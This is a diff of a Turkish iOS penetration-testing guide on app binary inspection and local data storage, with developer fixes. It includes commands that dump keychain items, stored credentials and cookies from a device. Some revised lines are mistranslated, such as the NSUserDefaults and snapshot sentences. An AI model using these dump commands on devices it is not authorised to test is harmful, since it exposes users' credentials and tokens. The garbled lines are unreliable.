(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection ... Name @@ -285,7 +285,7 @@ Regular 420 None ... README.txt ``` ### Binary Tersine Mühendislik -`.app` klasörü içinde `` adında bir ikili dosya bulacaksınız. Bu dosya **çalıştırılacak** olan dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla yapabilirsiniz: +`.app` klasörü içinde `` adında bir ikili dosya bulacaksınız. Bu dosya **çalıştırılacak** dosyadır. İkili dosyayı temel bir inceleme yapmak için **`otool`** aracını kullanabilirsiniz: ```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -299,15 +299,15 @@ DVIA-v2: @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` -**Uygulama şifreli mi kontrol edin** +**Uygulamanın şifrelenip şifrelenmediğini kontrol edin** -Aşağıdaki komutu kullanarak herhangi bir çıktı olup olmadığını kontrol edin: +Aşağıdaki komutu kullanarak çıktı olup olmadığını kontrol edin: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` -**Binary dosyasının disassembling işlemi** +**Binary dosyasının ayrıştırılması** -Metin bölümünü disassemble edin: +Metin bölümünü ayrıştırın: ```bash otool -tV DVIA-v2 DVIA-v2: @@ -321,7 +321,7 @@ DVIA-v2: 0000000100004acc adrp x10, 1098 ; 0x10044e000 0000000100004ad0 add x10, x10, #0x268 ``` -Örnek uygulamanın **Objective-C segmentini** yazdırmak için şunu kullanabilirsiniz: +**Örnek uygulamanın Objective-C segmentini** yazdırmak için şunu kullanabilirsiniz: ```bash otool -oV DVIA-v2 DVIA-v2: @@ -335,7 +335,7 @@ data 0x1003de748 flags 0x80 instanceStart 8 ``` -Daha kompakt bir Objective-C kod elde etmek için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz: +Kodun daha kompakt hale gelmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz: ```bash class-dump some-app // @@ -361,71 +361,68 @@ double _field1; double _field2; }; ``` -Ancak, ikili dosyayı parçalamak için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/). +Ancak, binary dosyasını çözmek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Veri Depolama -iOS'un cihazda veri depolama şekli hakkında bilgi edinmek için bu sayfayı okuyun: +iOS'un cihazda veri depolama hakkında bilgi edinmek için bu sayfayı okuyun: {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} {% hint style="warning" %} -Bilgilerin depolanabileceği aşağıdaki yerler, uygulama **kurulduktan hemen sonra**, uygulamanın **tüm işlevlerini kontrol ettikten sonra** ve hatta **bir kullanıcıdan çıkış yapıp başka bir kullanıcıya giriş yaptıktan sonra** kontrol edilmelidir.\ +Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\ Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır. {% endhint %} ### Plist -**plist** dosyaları, **anahtar-değer çiftlerini içeren** yapılandırılmış XML dosyalarıdır. Bu dosyalarda bazen **hassas bilgiler bulabilirsiniz**. Yeni veri yazılıp yazılmadığını görmek için uygulamayı kurduktan ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmek önerilir. +**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların, uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir. -Plist dosyalarında verileri kalıcı olarak depolamanın en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, **`Library/Preferences/.plist`** dizininde uygulama sandbox'ının içinde kaydedilir. +Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanılmasıdır. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama sandbox'ında kaydedilir. -[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşimde bulunmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihlerine** göre davranışını özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama paketi içinde görüntülenebilir. Bu sınıf, verileri bir plist dosyasında saklar, ancak küçük miktarda veriyle kullanılması amaçlanmıştır. +[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketinde görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır. -Bu verilere doğrudan güvenilir bir bilgisayar üzerinden erişilemez, ancak bir **yedekleme** yaparak erişilebilir. +Bu verilere doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir. -`NSUserDefaults` kullanarak kaydedilen bilgileri objection'ın `ios nsuserdefaults get` komutunu kullanarak **dökümleyebilirsiniz**. +`NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çözebilirsiniz. -Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve aşağıdaki komutu çalıştırabilirsiniz: +Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve şunu çalıştırabilirsiniz: ```bash find ./ -name "*.plist" ``` -**XML veya ikili (bplist)** formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur: +**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:** -**MacOS Kullanıcıları İçin:** -`plutil` komutunu kullanın. Bu, macOS (10.2+) için yerleşik bir araçtır ve bu amaçla tasarlanmıştır: +**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır. ```bash $ plutil -convert xml1 Info.plist ``` -**Linux Kullanıcıları İçin:** -Öncelikle `libplist-utils`'u yükleyin, ardından dosyanızı dönüştürmek için `plistutil` kullanın: +**Linux Kullanıcıları için:** İlk olarak `libplist-utils`'ı yükleyin, ardından dosyanızı dönüştürmek için `plistutil`'ı kullanın: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Bir Objection Oturumu İçinde:** -Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut bulunmaktadır: +**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenize olanak tanır: ```bash ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1), uygulamanızın model katmanını yönetmek için bir çerçevedir. Core Data, kalıcı depolama olarak SQLite'yi kullanabilir, ancak çerçeve kendisi bir veritabanı değildir.\ -CoreData, varsayılan olarak verilerini şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı ekleyebilirsiniz. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın. +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite'i kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\ +CoreData, verilerini varsayılan olarak şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı ekleyebilirsiniz. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın. Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz. -**Eğer SQLite'yi açabilir ve hassas bilgilere erişebilirseniz, bir yapılandırma hatası buldunuz demektir.** +**Eğer SQLite'i açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.** {% code title="iGoat'tan Kod" %} ```objectivec @@ -456,19 +453,19 @@ NSLog(@"data stored in core data"); ### YapDatabase [YapDatabase](https://github.com/yapstudios/YapDatabase), SQLite üzerine inşa edilmiş bir anahtar/değer deposudur.\ -Yap veritabanları sqlite veritabanları olduğu için, önceki bölümde önerilen komutu kullanarak onları bulabilirsiniz. +Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde belirtilen amaçlı komutu kullanarak bulabilirsiniz. ### Diğer SQLite Veritabanları -Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veriler** saklanabilir ve şifrelenmeden bırakılabilir. Bu nedenle, her uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginç olabilir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`) +Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olarak bırakabilirler. Bu nedenle, her veritabanını uygulamanın dizininde kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`). ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Gerçek Zamanlı Veritabanları -Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla bir NoSQL bulut barındırılan veritabanında veri depolama ve senkronizasyonu imkanı sunulmaktadır. Veri JSON formatında depolanır ve gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. +Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. -Firebase veritabanlarının yanlış yapılandırılmış olup olmadığını nasıl kontrol edeceğinizi burada bulabilirsiniz: +Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol yapılacağını buradan bulabilirsiniz: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) @@ -476,9 +473,9 @@ Firebase veritabanlarının yanlış yapılandırılmış olup olmadığını na ### Realm veritabanları -[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmemiş olarak depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır. +[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmeden depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanabilir. -Veritabanları `/private/var/mobile/Containers/Data/Application/{APPID}` konumunda bulunur. Bu dosyaları keşfetmek için aşağıdaki gibi komutlar kullanılabilir: +Veritabanları şurada bulunur: `/private/var/mobile/Containers/Data/Application/{APPID}`. Bu dosyaları keşfetmek için şu gibi komutlar kullanılabilir: ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| @@ -501,18 +498,18 @@ fatalError("Error opening realm: \(error)") ``` ### Couchbase Lite Veritabanları -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı izler. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin sorunsuz bir şekilde senkronize edilmesini sağlar. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlar. -Bir cihazda potansiyel Couchbase veritabanlarını belirlemek için aşağıdaki dizin incelenmelidir: +Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir: ```bash ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/ ``` ### Çerezler -iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** dosyasında saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlıkta** saklamayı tercih eder, çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**. +iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**. Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ -Bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz. +**Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json [ @@ -530,31 +527,31 @@ Bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için object ``` ### Önbellek -NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa, **hassas verileri** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini (`/var/mobile/Containers/Data/Application/`) açın ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db dosyasında saklanır**. **Objection**, bu veritabanını `sqlite connect Cache.db` komutuyla açabilir ve etkileşimde bulunabilir, çünkü bu normal bir SQLite veritabanıdır. +NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/`) gidin ve `/Library/Caches/` yolunu izleyin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu dosyayla `sqlite connect Cache.db` komutuyla etkileşime girebilir, çünkü bu **normal bir SQLite veritabanıdır**. -İstek veya yanıtta hassas bilgiler bulunabileceğinden, bu verilerin **önbelleğe alınmaması önerilir**. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: +Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: -1. Oturum kapatıldıktan sonra önbelleğe alınmış yanıtların kaldırılması önerilir. Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: +1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: - `URLCache.shared.removeAllCachedResponses()` +`URLCache.shared.removeAllCachedResponses()` - Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınmış istekleri ve yanıtları kaldıracaktır. -2. Çerezlerin avantajını kullanmanız gerekmiyorsa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir. Bu, çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır. +Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır. +2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır. - [Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): - `Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir oturumla ilgili veriyi diske kaydetmez. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun veri yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğiniz zamandır.` -3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin bellekte veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır. +`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi depolamaz. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.` +3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır. -### Ekran Görüntüleri +### Anlık Görüntüler -Ana ekran düğmesine bastığınızda, iOS, uygulamaya çok daha yumuşak bir şekilde geçiş yapabilmek için mevcut ekranın bir görüntüsünü alır. Ancak, mevcut ekranda **hassas veriler** bulunuyorsa, bu veriler **resimde kaydedilir** (ki bu **yeniden başlatmalara kadar** **saklanır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift tıkladığınızda erişebileceğiniz ekran görüntüleridir. +Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir. -iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görebilmek için **cihaza erişime** **ihtiyacı** **vardır**. Varsayılan olarak, son ekran görüntüsü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar, iOX 7.0'dan itibaren dosya sistemine erişemez). +iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). -Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` işlevini kullanarak ekran görüntüsü almadan önce boş bir ekran veya hassas verileri kaldırmaktır. +Bu kötü davranışı önlemenin bir yolu, anlık görüntüyü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz. -Aşağıdaki örnek düzeltme yöntemi, varsayılan bir ekran görüntüsü ayarlayacaktır. +Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir. Swift: ```swift @@ -571,15 +568,7 @@ func applicationWillEnterForeground(_ application: UIApplication) { backgroundImage?.removeFromSuperview() } ``` -Objective-C: - -Objective-C, Apple tarafından geliştirilen bir programlama dilidir. iOS uygulama geliştirme sürecinde sıkça kullanılır. Objective-C, C programlama diline dayanır ve Smalltalk dilinden etkilenmiştir. - -Objective-C, iOS uygulamalarının güvenlik açıklarını tespit etmek için kullanılan bir dildir. Bu nedenle, iOS pentesting sürecinde Objective-C'ye aşina olmak önemlidir. - -Objective-C ile iOS uygulamalarını analiz etmek için birkaç araç bulunmaktadır. Bunlar arasında Hopper Disassembler, class-dump, Cycript ve Frida gibi araçlar bulunur. - -Objective-C, iOS uygulamalarının kaynak kodunu anlamak ve analiz etmek için kullanılan bir dil olduğu için, Objective-C'ye hakim olmak, iOS pentesting sürecinde büyük bir avantaj sağlar. +**Objective-C:** ``` @property (UIImageView *)backgroundImage; @@ -594,102 +583,105 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -Bu, uygulama arka plana alındığında arka plan görüntüsünü `overlayImage.png` olarak ayarlar. `overlayImage.png` her zaman mevcut görünümü geçersiz kıldığı için hassas veri sızıntılarını önler. +### Arka Plan Resmi Ayarı -### Anahtar Zinciri +Uygulama arka planda çalıştığında `overlayImage.png` dosyasını arka plan resmi olarak ayarlar. Bu, `overlayImage.png` dosyasının her zaman mevcut görünümü geçersiz kılacağından hassas veri sızıntılarını önler. -iOS anahtar zincirine erişmek ve yönetmek için, jailbreakli cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar. +### Keychain + +iOS anahtar zincirine erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar. #### **Kimlik Bilgilerini Saklama** -**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmalayıcılar için ihtiyacı ortadan kaldırır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır: +**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmallara gerek kalmadan kullanılır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; [[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace]; ``` -Bu saklanan kimlik bilgilerini çıkarmak için Objection'ın `ios nsurlcredentialstorage dump` komutu kullanılır. +Storedaki bu kimlik bilgilerini çıkarmak için Objection'ın `ios nsurlcredentialstorage dump` komutu kullanılır. ## **Özel Klavyeler ve Klavye Önbelleği** -iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilirler. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşu kaydetme ve verileri harici sunuculara iletmek gibi bir risk oluştururlar, ancak kullanıcılara ağ erişimi gerektiren klavyeler hakkında bilgi verilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve bunu yapmalıdır. +iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilirler. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşu kaydı tutma ve verileri harici sunuculara iletim riski oluştururlar, ancak kullanıcılar ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır. **Güvenlik Önerileri:** -- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir. -- Öntanımlı iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler için kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** seçeneği önerilir. -- Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir. + +* Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir. +* iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünü sıfırlamak önerilir. +* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir. ### **Metin Alanı Önbelleğini Önleme** -[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişi gibi hassas bilgi önbelleğini önlemek için gerekli olan özellikleri sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir: +[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikleri sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; ``` -Ayrıca, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` ve `secureTextEntry`'yi `YES` olarak ayarlayarak önbelleğe alma işlemini devre dışı bırakmalıdır. +Ek olarak, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` olarak ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır. ```objectivec UITextField *textField = [[UITextField alloc] initWithFrame:frame]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Kayıtlar** -Hata ayıklama kodu genellikle **kayıtların kullanımını** içerir. **Kayıtlar hassas bilgiler içerebilir** riski vardır. Daha önce, iOS 6 ve daha eski sürümlerde, kayıtlar tüm uygulamalara erişilebilirken, hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi kayıtlarına erişebilirler**. +Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas 